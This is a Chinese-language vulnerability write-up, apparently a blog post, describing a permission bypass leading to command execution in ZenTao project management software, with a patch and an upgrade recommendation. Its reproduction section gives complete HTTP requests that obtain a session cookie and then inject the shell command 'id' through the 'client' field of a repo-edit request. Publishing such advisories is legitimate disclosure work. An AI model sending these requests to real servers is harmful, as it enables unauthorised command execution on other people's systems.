禅道系统权限绕过与命令执行漏洞

630 词

简介

  • 禅道是第一款国产的开源项目管理软件,它的核心管理思想基于敏捷方法scrum,内置了产品管理和项目管理,同时又根据国内研发现状补充了测试管理、计划管理、发布管理、文档管理、事务管理等功能,在一个软件中就可以将软件研发中的需求、任务、bug、用例、计划、发布等要素有序的跟踪管理起来,完整地覆盖了项目管理的核心流程。

漏洞概述

  • 禅道17.4以下版本存在权限绕过到命令执行漏洞。该漏洞是由于禅道项目管理系统权限认证存在缺陷导致,攻击者可利用该漏洞在未授权的情况下,通过权限绕过在服务器执行任意命令。

影响版本

企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
开源版 17.4以下的未知版本<=version<=18.0.beta1
旗舰版 3.4以下的未知版本<=version<=4.0.beta1

环境安装

漏洞复现

1.首先依次发送如下两个请求,激活cookie信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
GET /misc-captcha-user.html HTTP/1.1
Host: ******
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: keep-alive
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=default


POST /repo-create.html HTTP/1.1
Host: ******
Content-Length: 113
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://******//repo-edit-1-0.html
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded

product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=

2.发送如下请求,如果存在漏洞,则返回包中会包含命令执行的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /repo-edit-10000-10000.html HTTP/1.1
Host: ******
Content-Length: 26
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://******//repo-edit-1-0.html
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2;; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded

SCM=Subversion&client=`id`

命令执行结果
image.png

修复方式

目前禅道官方已正式发布修复版本,建议受影响用户尽快升级至安全版本。

如不能升级,可在module/common/model.php文件中的echo $endResponseException->getContent();后面加上exit(); 来修复权限绕过漏洞。

留言